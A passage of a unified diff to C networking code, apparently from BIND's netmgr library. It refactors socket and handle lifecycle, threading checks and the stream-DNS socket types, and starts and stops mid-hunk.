-		INCREMENT_NORMAL_NETIEVENT(worker);
-		ENQUEUE_NORMAL_NETIEVENT(worker, event);
+	if (sock->barriers_initialised) {
+		isc_barrier_destroy(&sock->listen_barrier);
+		isc_barrier_destroy(&sock->stop_barrier);
 	}
-	uv_async_send(&worker->async);
-}
 
-bool
-isc__nmsocket_active(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	if (sock->parent != NULL) {
-		return (atomic_load(&sock->parent->active));
-	}
+	sock->magic = 0;
 
-	return (atomic_load(&sock->active));
-}
+	/* Don't free child socket */
+	if (sock->parent == NULL) {
+		REQUIRE(sock->tid == isc_tid());
 
-bool
-isc__nmsocket_deactivate(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
+		ISC_LIST_UNLINK(worker->active_sockets, sock, active_link);
 
-	if (sock->parent != NULL) {
-		return (atomic_compare_exchange_strong(&sock->parent->active,
-						       &(bool){ true }, false));
+		isc_mem_put(worker->mctx, sock, sizeof(*sock));
 	}
 
-	return (atomic_compare_exchange_strong(&sock->active, &(bool){ true },
-					       false));
+	isc__networker_detach(&worker);
 }
 
-void
-isc___nmsocket_attach(isc_nmsocket_t *sock, isc_nmsocket_t **target FLARG) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(target != NULL && *target == NULL);
-
-	isc_nmsocket_t *rsock = NULL;
-
-	if (sock->parent != NULL) {
-		rsock = sock->parent;
-		INSIST(rsock->parent == NULL); /* sanity check */
-	} else {
-		rsock = sock;
+static bool
+nmsocket_has_active_handles(isc_nmsocket_t *sock) {
+	if (!ISC_LIST_EMPTY(sock->active_handles)) {
+		return (true);
 	}
 
-	NETMGR_TRACE_LOG("isc__nmsocket_attach():%p->references = %" PRIuFAST32
-			 "\n",
-			 rsock, isc_refcount_current(&rsock->references) + 1);
-
-	isc_refcount_increment0(&rsock->references);
-
-	*target = sock;
-}
-
-/*
- * Free all resources inside a socket (including its children if any).
- */
-static void
-nmsocket_cleanup(isc_nmsocket_t *sock, bool dofree FLARG) {
-	isc_nmhandle_t *handle = NULL;
-	isc__nm_uvreq_t *uvreq = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(!isc__nmsocket_active(sock));
-
-	NETMGR_TRACE_LOG("nmsocket_cleanup():%p->references = %" PRIuFAST32
-			 "\n",
-			 sock, isc_refcount_current(&sock->references));
-
-	atomic_store(&sock->destroying, true);
-
-	if (sock->parent == NULL && sock->children != NULL) {
-		/*
-		 * We shouldn't be here unless there are no active handles,
-		 * so we can clean up and free the children.
-		 */
+	if (sock->children != NULL) {
 		for (size_t i = 0; i < sock->nchildren; i++) {
-			if (!atomic_load(&sock->children[i].destroying)) {
-				nmsocket_cleanup(&sock->children[i],
-						 false FLARG_PASS);
+			isc_nmsocket_t *csock = &sock->children[i];
+			if (!ISC_LIST_EMPTY(csock->active_handles)) {
+				return (true);
 			}
 		}
-
-		/*
-		 * This was a parent socket: destroy the listening
-		 * barriers that synchronized the children.
-		 */
-		isc_barrier_destroy(&sock->startlistening);
-		isc_barrier_destroy(&sock->stoplistening);
-
-		/*
-		 * Now free them.
-		 */
-		isc_mem_put(sock->mgr->mctx, sock->children,
-			    sock->nchildren * sizeof(*sock));
-		sock->children = NULL;
-		sock->nchildren = 0;
-	}
-	if (sock->statsindex != NULL) {
-		isc__nm_decstats(sock->mgr, sock->statsindex[STATID_ACTIVE]);
-	}
-
-	sock->statichandle = NULL;
-
-	if (sock->outerhandle != NULL) {
-		isc__nmhandle_detach(&sock->outerhandle FLARG_PASS);
 	}
 
-	if (sock->outer != NULL) {
-		isc___nmsocket_detach(&sock->outer FLARG_PASS);
-	}
-
-	while ((handle = isc_astack_pop(sock->inactivehandles)) != NULL) {
-		nmhandle_free(sock, handle);
-	}
-
-	if (sock->buf != NULL) {
-		isc_mem_free(sock->mgr->mctx, sock->buf);
-	}
-
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-
-	sock->pquota = NULL;
-
-	isc_astack_destroy(sock->inactivehandles);
-
-	while ((uvreq = isc_astack_pop(sock->inactivereqs)) != NULL) {
-		isc_mempool_put(sock->mgr->reqpool, uvreq);
-	}
-
-	isc_astack_destroy(sock->inactivereqs);
-	sock->magic = 0;
-
-	isc_mem_free(sock->mgr->mctx, sock->ah_frees);
-	isc_mem_free(sock->mgr->mctx, sock->ah_handles);
-	isc_mutex_destroy(&sock->lock);
-	isc_condition_destroy(&sock->scond);
-	isc__nm_tls_cleanup_data(sock);
-	isc__nm_http_cleanup_data(sock);
-#ifdef NETMGR_TRACE
-	LOCK(&sock->mgr->lock);
-	ISC_LIST_UNLINK(sock->mgr->active_sockets, sock, active_link);
-	UNLOCK(&sock->mgr->lock);
-#endif
-	if (dofree) {
-		isc_nm_t *mgr = sock->mgr;
-		isc_mem_put(mgr->mctx, sock, sizeof(*sock));
-		isc_nm_detach(&mgr);
-	} else {
-		isc_nm_detach(&sock->mgr);
-	}
+	return (false);
 }
 
 static void
 nmsocket_maybe_destroy(isc_nmsocket_t *sock FLARG) {
-	int active_handles;
-	bool destroy = false;
-
 	NETMGR_TRACE_LOG("%s():%p->references = %" PRIuFAST32 "\n", __func__,
 			 sock, isc_refcount_current(&sock->references));
 
@@ -1315,41 +539,37 @@ nmsocket_maybe_destroy(isc_nmsocket_t *sock FLARG) {
 		return;
 	}
 
+	REQUIRE(!sock->destroying);
+	REQUIRE(!sock->active);
+
+	if (!sock->closed) {
+		return;
+	}
+
+	if (isc_refcount_current(&sock->references) != 0) {
+		/*
+		 * Using such check is valid only if we don't use
+		 * isc_refcount_increment0() on the same variable.
+		 */
+		return;
+	}
+
+	NETMGR_TRACE_LOG("%s:%p->statichandle = %p\n", __func__, sock,
+			 sock->statichandle);
+
 	/*
 	 * This is a parent socket (or a standalone). See whether the
 	 * children have active handles before deciding whether to
 	 * accept destruction.
 	 */
-	LOCK(&sock->lock);
-	if (atomic_load(&sock->active) || atomic_load(&sock->destroying) ||
-	    !atomic_load(&sock->closed) || atomic_load(&sock->references) != 0)
-	{
-		UNLOCK(&sock->lock);
+	if (sock->statichandle == NULL && nmsocket_has_active_handles(sock)) {
 		return;
 	}
 
-	active_handles = atomic_load(&sock->ah);
-	if (sock->children != NULL) {
-		for (size_t i = 0; i < sock->nchildren; i++) {
-			LOCK(&sock->children[i].lock);
-			active_handles += atomic_load(&sock->children[i].ah);
-			UNLOCK(&sock->children[i].lock);
-		}
-	}
-
-	if (active_handles == 0 || sock->statichandle != NULL) {
-		destroy = true;
-	}
-
-	NETMGR_TRACE_LOG("%s:%p->active_handles = %d, .statichandle = %p\n",
-			 __func__, sock, active_handles, sock->statichandle);
-
-	if (destroy) {
-		atomic_store(&sock->destroying, true);
-		UNLOCK(&sock->lock);
-		nmsocket_cleanup(sock, true FLARG_PASS);
+	if (sock->tid == isc_tid()) {
+		nmsocket_cleanup(sock);
 	} else {
-		UNLOCK(&sock->lock);
+		isc_async_run(sock->worker->loop, nmsocket_cleanup, sock);
 	}
 }
 
@@ -1366,17 +586,12 @@ isc___nmsocket_prep_destroy(isc_nmsocket_t *sock FLARG) {
 	 * destroying the socket, but we have to wait for all the inflight
 	 * handles to finish first.
 	 */
-	atomic_store(&sock->active, false);
+	sock->active = false;
 
 	/*
-	 * If the socket has children, they'll need to be marked inactive
-	 * so they can be cleaned up too.
+	 * If the socket has children, they have been marked inactive by the
+	 * shutdown uv_walk
 	 */
-	if (sock->children != NULL) {
-		for (size_t i = 0; i < sock->nchildren; i++) {
-			atomic_store(&sock->children[i].active, false);
-		}
-	}
 
 	/*
 	 * If we're here then we already stopped listening; otherwise
@@ -1384,7 +599,7 @@ isc___nmsocket_prep_destroy(isc_nmsocket_t *sock FLARG) {
 	 *
 	 * If it's a regular socket we may need to close it.
 	 */
-	if (!atomic_load(&sock->closed)) {
+	if (!sock->closing && !sock->closed) {
 		switch (sock->type) {
 		case isc_nm_udpsocket:
 			isc__nm_udp_close(sock);
@@ -1392,18 +607,17 @@ isc___nmsocket_prep_destroy(isc_nmsocket_t *sock FLARG) {
 		case isc_nm_tcpsocket:
 			isc__nm_tcp_close(sock);
 			return;
-		case isc_nm_tcpdnssocket:
-			isc__nm_tcpdns_close(sock);
+		case isc_nm_streamdnssocket:
+			isc__nm_streamdns_close(sock);
 			return;
 		case isc_nm_tlssocket:
 			isc__nm_tls_close(sock);
-			break;
-		case isc_nm_tlsdnssocket:
-			isc__nm_tlsdns_close(sock);
 			return;
+#if HAVE_LIBNGHTTP2
 		case isc_nm_httpsocket:
 			isc__nm_http_close(sock);
 			return;
+#endif
 		default:
 			break;
 		}
@@ -1446,8 +660,7 @@ isc_nmsocket_close(isc_nmsocket_t **sockp) {
 	REQUIRE(VALID_NMSOCK(*sockp));
 	REQUIRE((*sockp)->type == isc_nm_udplistener ||
 		(*sockp)->type == isc_nm_tcplistener ||
-		(*sockp)->type == isc_nm_tcpdnslistener ||
-		(*sockp)->type == isc_nm_tlsdnslistener ||
+		(*sockp)->type == isc_nm_streamdnslistener ||
 		(*sockp)->type == isc_nm_tlslistener ||
 		(*sockp)->type == isc_nm_httplistener);
 
@@ -1455,79 +668,84 @@ isc_nmsocket_close(isc_nmsocket_t **sockp) {
 }
 
 void
-isc___nmsocket_init(isc_nmsocket_t *sock, isc_nm_t *mgr, isc_nmsocket_type type,
-		    isc_sockaddr_t *iface FLARG) {
+isc___nmsocket_init(isc_nmsocket_t *sock, isc__networker_t *worker,
+		    isc_nmsocket_type type, isc_sockaddr_t *iface,
+		    isc_nmsocket_t *parent FLARG) {
 	uint16_t family;
 
 	REQUIRE(sock != NULL);
-	REQUIRE(mgr != NULL);
-	REQUIRE(iface != NULL);
+	REQUIRE(worker != NULL);
+
+	*sock = (isc_nmsocket_t){
+		.type = type,
+		.tid = worker->loop->tid,
+		.fd = -1,
+		.inactive_handles = ISC_LIST_INITIALIZER,
+		.result = ISC_R_UNSET,
+		.active_handles = ISC_LIST_INITIALIZER,
+		.active_link = ISC_LINK_INITIALIZER,
+		.active = true,
+	};
 
-	family = iface->type.sa.sa_family;
+	if (iface != NULL) {
+		family = iface->type.sa.sa_family;
+		sock->iface = *iface;
+	} else {
+		family = AF_UNSPEC;
+	}
 
-	*sock = (isc_nmsocket_t){ .type = type,
-				  .iface = *iface,
-				  .fd = -1,
-				  .ah_size = 32,
-				  .inactivehandles = isc_astack_new(
-					  mgr->mctx, ISC_NM_HANDLES_STACK_SIZE),
-				  .inactivereqs = isc_astack_new(
-					  mgr->mctx, ISC_NM_REQS_STACK_SIZE) };
+	if (parent) {
+		sock->parent = parent;
+	} else {
+		ISC_LIST_APPEND(worker->active_sockets, sock, active_link);
+	}
 
-#if NETMGR_TRACE
+#if ISC_NETMGR_TRACE
 	sock->backtrace_size = isc_backtrace(sock->backtrace, TRACE_SIZE);
-	ISC_LINK_INIT(sock, active_link);
-	ISC_LIST_INIT(sock->active_handles);
-	LOCK(&mgr->lock);
-	ISC_LIST_APPEND(mgr->active_sockets, sock, active_link);
-	UNLOCK(&mgr->lock);
 #endif
 
-	isc_nm_attach(mgr, &sock->mgr);
+	isc__networker_attach(worker, &sock->worker);
 	sock->uv_handle.handle.data = sock;
 
-	sock->ah_frees = isc_mem_allocate(mgr->mctx,
-					  sock->ah_size * sizeof(size_t));
-	sock->ah_handles = isc_mem_allocate(
-		mgr->mctx, sock->ah_size * sizeof(isc_nmhandle_t *));
-	ISC_LINK_INIT(&sock->quotacb, link);
-	for (size_t i = 0; i < 32; i++) {
-		sock->ah_frees[i] = i;
-		sock->ah_handles[i] = NULL;
-	}
-
 	switch (type) {
 	case isc_nm_udpsocket:
 	case isc_nm_udplistener:
-		if (family == AF_INET) {
+		switch (family) {
+		case AF_INET:
 			sock->statsindex = udp4statsindex;
-		} else {
+			break;
+		case AF_INET6:
 			sock->statsindex = udp6statsindex;
+			break;
+		case AF_UNSPEC:
+			/*
+			 * Route sockets are AF_UNSPEC, and don't
+			 * have stats counters.
+			 */
+			break;
+		default:
+			UNREACHABLE();
 		}
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_ACTIVE]);
 		break;
 	case isc_nm_tcpsocket:
 	case isc_nm_tcplistener:
-	case isc_nm_tcpdnssocket:
-	case isc_nm_tcpdnslistener:
-	case isc_nm_tlsdnssocket:
-	case isc_nm_tlsdnslistener:
 	case isc_nm_httpsocket:
 	case isc_nm_httplistener:
-		if (family == AF_INET) {
+		switch (family) {
+		case AF_INET:
 			sock->statsindex = tcp4statsindex;
-		} else {
+			break;
+		case AF_INET6:
 			sock->statsindex = tcp6statsindex;
+			break;
+		default:
+			UNREACHABLE();
 		}
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_ACTIVE]);
 		break;
 	default:
 		break;
 	}
 
-	isc_mutex_init(&sock->lock);
-	isc_condition_init(&sock->cond);
-	isc_condition_init(&sock->scond);
 	isc_refcount_init(&sock->references, 1);
 
 	memset(&sock->tlsstream, 0, sizeof(sock->tlsstream));
@@ -1536,30 +754,19 @@ isc___nmsocket_init(isc_nmsocket_t *sock, isc_nm_t *mgr, isc_nmsocket_type type,
 			 "\n",
 			 sock, isc_refcount_current(&sock->references));
 
-	atomic_init(&sock->active, true);
-	atomic_init(&sock->sequential, false);
-	atomic_init(&sock->readpaused, false);
-	atomic_init(&sock->closing, false);
-	atomic_init(&sock->listening, 0);
-	atomic_init(&sock->closed, 0);
-	atomic_init(&sock->destroying, 0);
-	atomic_init(&sock->ah, 0);
-	atomic_init(&sock->client, 0);
-	atomic_init(&sock->connecting, false);
-	atomic_init(&sock->keepalive, false);
-	atomic_init(&sock->connected, false);
-
-	atomic_init(&sock->active_child_connections, 0);
-
+#if HAVE_LIBNGHTTP2
 	isc__nm_http_initsocket(sock);
+#endif
 
 	sock->magic = NMSOCK_MAGIC;
+
+	isc__nm_incstats(sock, STATID_ACTIVE);
 }
 
 void
 isc__nmsocket_clearcb(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(!isc__nm_in_netthread() || sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 
 	sock->recv_cb = NULL;
 	sock->recv_cbarg = NULL;
@@ -1571,57 +778,55 @@ isc__nmsocket_clearcb(isc_nmsocket_t *sock) {
 
 void
 isc__nm_free_uvbuf(isc_nmsocket_t *sock, const uv_buf_t *buf) {
-	isc__networker_t *worker = NULL;
-
 	REQUIRE(VALID_NMSOCK(sock));
-	if (buf->base == NULL) {
-		/* Empty buffer: might happen in case of error. */
-		return;
-	}
-	worker = &sock->mgr->workers[sock->tid];
 
-	REQUIRE(worker->recvbuf_inuse);
-	if (sock->type == isc_nm_udpsocket && buf->base > worker->recvbuf &&
-	    buf->base <= worker->recvbuf + ISC_NETMGR_RECVBUF_SIZE)
-	{
-		/* Can happen in case of out-of-order recvmmsg in libuv1.36 */
-		return;
-	}
-	REQUIRE(buf->base == worker->recvbuf);
-	worker->recvbuf_inuse = false;
+	REQUIRE(buf->base == sock->worker->recvbuf);
+
+	sock->worker->recvbuf_inuse = false;
 }
 
 static isc_nmhandle_t *
 alloc_handle(isc_nmsocket_t *sock) {
-	isc_nmhandle_t *handle =
-		isc_mem_get(sock->mgr->mctx,
-			    sizeof(isc_nmhandle_t) + sock->extrahandlesize);
+	isc_nmhandle_t *handle = isc_mem_get(sock->worker->mctx,
+					     sizeof(isc_nmhandle_t));
 
-	*handle = (isc_nmhandle_t){ .magic = NMHANDLE_MAGIC };
-#ifdef NETMGR_TRACE
-	ISC_LINK_INIT(handle, active_link);
-#endif
+	*handle = (isc_nmhandle_t){
+		.magic = NMHANDLE_MAGIC,
+		.active_link = ISC_LINK_INITIALIZER,
+		.inactive_link = ISC_LINK_INITIALIZER,
+	};
 	isc_refcount_init(&handle->references, 1);
 
 	return (handle);
 }
 
-isc_nmhandle_t *
-isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t *peer,
-		   isc_sockaddr_t *local FLARG) {
-	isc_nmhandle_t *handle = NULL;
-	size_t handlenum;
-	int pos;
+static isc_nmhandle_t *
+dequeue_handle(isc_nmsocket_t *sock) {
+#if !__SANITIZE_ADDRESS__ && !__SANITIZE_THREAD__
+	isc_nmhandle_t *handle = ISC_LIST_HEAD(sock->inactive_handles);
+	if (handle != NULL) {
+		ISC_LIST_DEQUEUE(sock->inactive_handles, handle, inactive_link);
 
-	REQUIRE(VALID_NMSOCK(sock));
+		sock->inactive_handles_cur--;
+
+		isc_refcount_init(&handle->references, 1);
+		INSIST(VALID_NMHANDLE(handle));
+		return (handle);
+	}
+#else
+	INSIST(ISC_LIST_EMPTY(sock->inactive_handles));
+#endif /* !__SANITIZE_ADDRESS__ && !__SANITIZE_THREAD__ */
+	return (NULL);
+}
 
-	handle = isc_astack_pop(sock->inactivehandles);
+isc_nmhandle_t *
+isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t const *peer,
+		   isc_sockaddr_t const *local FLARG) {
+	REQUIRE(VALID_NMSOCK(sock));
 
+	isc_nmhandle_t *handle = dequeue_handle(sock);
 	if (handle == NULL) {
 		handle = alloc_handle(sock);
-	} else {
-		isc_refcount_init(&handle->references, 1);
-		INSIST(VALID_NMHANDLE(handle));
 	}
 
 	NETMGR_TRACE_LOG(
@@ -1630,7 +835,7 @@ isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t *peer,
 
 	isc___nmsocket_attach(sock, &handle->sock FLARG_PASS);
 
-#if NETMGR_TRACE
+#if ISC_NETMGR_TRACE
 	handle->backtrace_size = isc_backtrace(handle->backtrace, TRACE_SIZE);
 #endif
 
@@ -1646,43 +851,14 @@ isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t *peer,
 		handle->local = sock->iface;
 	}
 
-	LOCK(&sock->lock);
-	/* We need to add this handle to the list of active handles */
-	if ((size_t)atomic_load(&sock->ah) == sock->ah_size) {
-		sock->ah_frees =
-			isc_mem_reallocate(sock->mgr->mctx, sock->ah_frees,
-					   sock->ah_size * 2 * sizeof(size_t));
-		sock->ah_handles = isc_mem_reallocate(
-			sock->mgr->mctx, sock->ah_handles,
-			sock->ah_size * 2 * sizeof(isc_nmhandle_t *));
-
-		for (size_t i = sock->ah_size; i < sock->ah_size * 2; i++) {
-			sock->ah_frees[i] = i;
-			sock->ah_handles[i] = NULL;
-		}
-
-		sock->ah_size *= 2;
-	}
-
-	handlenum = atomic_fetch_add(&sock->ah, 1);
-	pos = sock->ah_frees[handlenum];
-
-	INSIST(sock->ah_handles[pos] == NULL);
-	sock->ah_handles[pos] = handle;
-	handle->ah_pos = pos;
-#ifdef NETMGR_TRACE
 	ISC_LIST_APPEND(sock->active_handles, handle, active_link);
-#endif
-	UNLOCK(&sock->lock);
 
 	switch (sock->type) {
 	case isc_nm_udpsocket:
-	case isc_nm_tcpdnssocket:
-	case isc_nm_tlsdnssocket:
-		if (!atomic_load(&sock->client)) {
+		if (!sock->client) {
 			break;
 		}
-		/* fallthrough */
+		FALLTHROUGH;
 	case isc_nm_tcpsocket:
 	case isc_nm_tlssocket:
 		INSIST(sock->statichandle == NULL);
@@ -1699,175 +875,111 @@ isc___nmhandle_get(isc_nmsocket_t *sock, isc_sockaddr_t *peer,
 		break;
 	}
 
+#if HAVE_LIBNGHTTP2
 	if (sock->type == isc_nm_httpsocket && sock->h2.session) {
 		isc__nm_httpsession_attach(sock->h2.session,
 					   &handle->httpsession);
 	}
+#endif
 
 	return (handle);
 }
 
-void
-isc__nmhandle_attach(isc_nmhandle_t *handle, isc_nmhandle_t **handlep FLARG) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(handlep != NULL && *handlep == NULL);
-
-	NETMGR_TRACE_LOG("isc__nmhandle_attach():handle %p->references = "
-			 "%" PRIuFAST32 "\n",
-			 handle, isc_refcount_current(&handle->references) + 1);
-
-	isc_refcount_increment(&handle->references);
-	*handlep = handle;
-}
-
 bool
 isc_nmhandle_is_stream(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
 
 	return (handle->sock->type == isc_nm_tcpsocket ||
-		handle->sock->type == isc_nm_tcpdnssocket ||
 		handle->sock->type == isc_nm_tlssocket ||
-		handle->sock->type == isc_nm_tlsdnssocket);
+		handle->sock->type == isc_nm_httpsocket ||
+		handle->sock->type == isc_nm_streamdnssocket);
 }
 
 static void
 nmhandle_free(isc_nmsocket_t *sock, isc_nmhandle_t *handle) {
-	size_t extra = sock->extrahandlesize;
-
 	isc_refcount_destroy(&handle->references);
 
+	handle->magic = 0;
+
 	if (handle->dofree != NULL) {
 		handle->dofree(handle->opaque);
 	}
 
-	*handle = (isc_nmhandle_t){ .magic = 0 };
-
-	isc_mem_put(sock->mgr->mctx, handle, sizeof(isc_nmhandle_t) + extra);
+	isc_mem_put(sock->worker->mctx, handle, sizeof(*handle));
 }
 
 static void
-nmhandle_deactivate(isc_nmsocket_t *sock, isc_nmhandle_t *handle) {
-	size_t handlenum;
-	bool reuse = false;
-
-	/*
-	 * We do all of this under lock to avoid races with socket
-	 * destruction.  We have to do this now, because at this point the
-	 * socket is either unused or still attached to event->sock.
-	 */
-	LOCK(&sock->lock);
-
-	INSIST(sock->ah_handles[handle->ah_pos] == handle);
-	INSIST(sock->ah_size > handle->ah_pos);
-	INSIST(atomic_load(&sock->ah) > 0);
-
-#ifdef NETMGR_TRACE
-	ISC_LIST_UNLINK(sock->active_handles, handle, active_link);
-#endif
+nmhandle__destroy(isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = handle->sock;
+	handle->sock = NULL;
 
-	sock->ah_handles[handle->ah_pos] = NULL;
-	handlenum = atomic_fetch_sub(&sock->ah, 1) - 1;
-	sock->ah_frees[handlenum] = handle->ah_pos;
-	handle->ah_pos = 0;
-	if (atomic_load(&sock->active)) {
-		reuse = isc_astack_trypush(sock->inactivehandles, handle);
-	}
-	if (!reuse) {
+#if defined(__SANITIZE_ADDRESS__) || defined(__SANITIZE_THREAD__)
+	nmhandle_free(sock, handle);
+#else
+	if (sock->active &&
+	    sock->inactive_handles_cur < sock->inactive_handles_max)
+	{
+		sock->inactive_handles_cur++;
+		ISC_LIST_APPEND(sock->inactive_handles, handle, inactive_link);
+	} else {
 		nmhandle_free(sock, handle);
 	}
-	UNLOCK(&sock->lock);
-}
-
-void
-isc__nmhandle_detach(isc_nmhandle_t **handlep FLARG) {
-	isc_nmsocket_t *sock = NULL;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(handlep != NULL);
-	REQUIRE(VALID_NMHANDLE(*handlep));
-
-	handle = *handlep;
-	*handlep = NULL;
+#endif
 
-	sock = handle->sock;
-	if (sock->tid == isc_nm_tid()) {
-		nmhandle_detach_cb(&handle FLARG_PASS);
-	} else {
-		isc__netievent_detach_t *event =
-			isc__nm_get_netievent_detach(sock->mgr, sock);
-		/*
-		 * we are using implicit "attach" as the last reference
-		 * need to be destroyed explicitly in the async callback
-		 */
-		event->handle = handle;
-		FLARG_IEVENT_PASS(event);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)event);
-	}
+	isc__nmsocket_detach(&sock);
 }
 
-void
-isc__nmsocket_shutdown(isc_nmsocket_t *sock);
-
 static void
-nmhandle_detach_cb(isc_nmhandle_t **handlep FLARG) {
-	isc_nmsocket_t *sock = NULL;
-	isc_nmhandle_t *handle = NULL;
-
-	REQUIRE(handlep != NULL);
-	REQUIRE(VALID_NMHANDLE(*handlep));
-
-	handle = *handlep;
-	*handlep = NULL;
-
-	NETMGR_TRACE_LOG("isc__nmhandle_detach():%p->references = %" PRIuFAST32
-			 "\n",
-			 handle, isc_refcount_current(&handle->references) - 1);
+isc__nm_closehandle_job(void *arg) {
+	isc_nmhandle_t *handle = arg;
+	isc_nmsocket_t *sock = handle->sock;
 
-	if (isc_refcount_decrement(&handle->references) > 1) {
-		return;
-	}
+	sock->closehandle_cb(sock);
 
-	/* We need an acquire memory barrier here */
-	(void)isc_refcount_current(&handle->references);
+	nmhandle__destroy(handle);
+}
 
-	sock = handle->sock;
-	handle->sock = NULL;
+static void
+nmhandle_destroy(isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = handle->sock;
 
 	if (handle->doreset != NULL) {
 		handle->doreset(handle->opaque);
 	}
 
+#if HAVE_LIBNGHTTP2
 	if (sock->type == isc_nm_httpsocket && handle->httpsession != NULL) {
 		isc__nm_httpsession_detach(&handle->httpsession);
 	}
-
-	nmhandle_deactivate(sock, handle);
-
-	/*
-	 * The handle is gone now. If the socket has a callback configured
-	 * for that (e.g., to perform cleanup after request processing),
-	 * call it now, or schedule it to run asynchronously.
-	 */
-	if (sock->closehandle_cb != NULL) {
-		if (sock->tid == isc_nm_tid()) {
-			sock->closehandle_cb(sock);
-		} else {
-			isc__netievent_close_t *event =
-				isc__nm_get_netievent_close(sock->mgr, sock);
-			isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-					       (isc__netievent_t *)event);
-		}
-	}
+#endif
 
 	if (handle == sock->statichandle) {
 		/* statichandle is assigned, not attached. */
 		sock->statichandle = NULL;
 	}
 
-	isc___nmsocket_detach(&sock FLARG_PASS);
+	ISC_LIST_UNLINK(sock->active_handles, handle, active_link);
+
+	if (sock->closehandle_cb == NULL) {
+		nmhandle__destroy(handle);
+		return;
+	}
+
+	/*
+	 * If the socket has a callback configured for that (e.g.,
+	 * to perform cleanup after request processing), call it
+	 * now asynchronously.
+	 */
+	isc_job_run(sock->worker->loop, &handle->job, isc__nm_closehandle_job,
+		    handle);
 }
 
+#if ISC_NETMGR_TRACE
+ISC_REFCOUNT_TRACE_IMPL(isc_nmhandle, nmhandle_destroy)
+#else
+ISC_REFCOUNT_IMPL(isc_nmhandle, nmhandle_destroy);
+#endif
+
 void *
 isc_nmhandle_getdata(isc_nmhandle_t *handle) {
 	REQUIRE(VALID_NMHANDLE(handle));
@@ -1885,63 +997,16 @@ isc_nmhandle_setdata(isc_nmhandle_t *handle, void *arg,
 	handle->dofree = dofree;
 }
 
-void
-isc__nm_alloc_dnsbuf(isc_nmsocket_t *sock, size_t len) {
-	REQUIRE(len <= NM_BIG_BUF);
-
-	if (sock->buf == NULL) {
-		/* We don't have the buffer at all */
-		size_t alloc_len = len < NM_REG_BUF ? NM_REG_BUF : NM_BIG_BUF;
-		sock->buf = isc_mem_allocate(sock->mgr->mctx, alloc_len);
-		sock->buf_size = alloc_len;
-	} else {
-		/* We have the buffer but it's too small */
-		sock->buf = isc_mem_reallocate(sock->mgr->mctx, sock->buf,
-					       NM_BIG_BUF);
-		sock->buf_size = NM_BIG_BUF;
-	}
-}
-
 void
 isc__nm_failed_send_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
-		       isc_result_t eresult) {
+		       isc_result_t eresult, bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(req));
 
 	if (req->cb.send != NULL) {
-		isc__nm_sendcb(sock, req, eresult, true);
+		isc__nm_sendcb(sock, req, eresult, async);
 	} else {
-		isc__nm_uvreq_put(&req, sock);
-	}
-}
-
-void
-isc__nm_failed_accept_cb(isc_nmsocket_t *sock, isc_result_t eresult) {
-	REQUIRE(sock->accepting);
-	REQUIRE(sock->server);
-
-	/*
-	 * Detach the quota early to make room for other connections;
-	 * otherwise it'd be detached later asynchronously, and clog
-	 * the quota unnecessarily.
-	 */
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
-
-	isc__nmsocket_detach(&sock->server);
-
-	sock->accepting = false;
-
-	switch (eresult) {
-	case ISC_R_NOTCONNECTED:
-		/* IGNORE: The client disconnected before we could accept */
-		break;
-	default:
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-			      "Accepting TCP connection failed: %s",
-			      isc_result_totext(eresult));
+		isc__nm_uvreq_put(&req);
 	}
 }
 
@@ -1950,14 +1015,16 @@ isc__nm_failed_connect_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
 			  isc_result_t eresult, bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(req));
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 	REQUIRE(req->cb.connect != NULL);
+	REQUIRE(sock->connecting);
 
-	isc__nmsocket_timer_stop(sock);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
+	sock->connecting = false;
 
-	INSIST(atomic_compare_exchange_strong(&sock->connecting,
-					      &(bool){ true }, false));
+	isc__nm_incstats(sock, STATID_CONNECTFAIL);
+
+	isc__nmsocket_timer_stop(sock);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
 
 	isc__nmsocket_clearcb(sock);
 	isc__nm_connectcb(sock, req, eresult, async);
@@ -1968,22 +1035,22 @@ isc__nm_failed_connect_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
 void
 isc__nm_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result, bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
+	UNUSED(async);
 	switch (sock->type) {
 	case isc_nm_udpsocket:
-		isc__nm_udp_failed_read_cb(sock, result);
+		isc__nm_udp_failed_read_cb(sock, result, async);
 		return;
 	case isc_nm_tcpsocket:
-		isc__nm_tcp_failed_read_cb(sock, result);
+		isc__nm_tcp_failed_read_cb(sock, result, async);
 		return;
-	case isc_nm_tcpdnssocket:
-		isc__nm_tcpdns_failed_read_cb(sock, result);
+	case isc_nm_tlssocket:
+		isc__nm_tls_failed_read_cb(sock, result, async);
 		return;
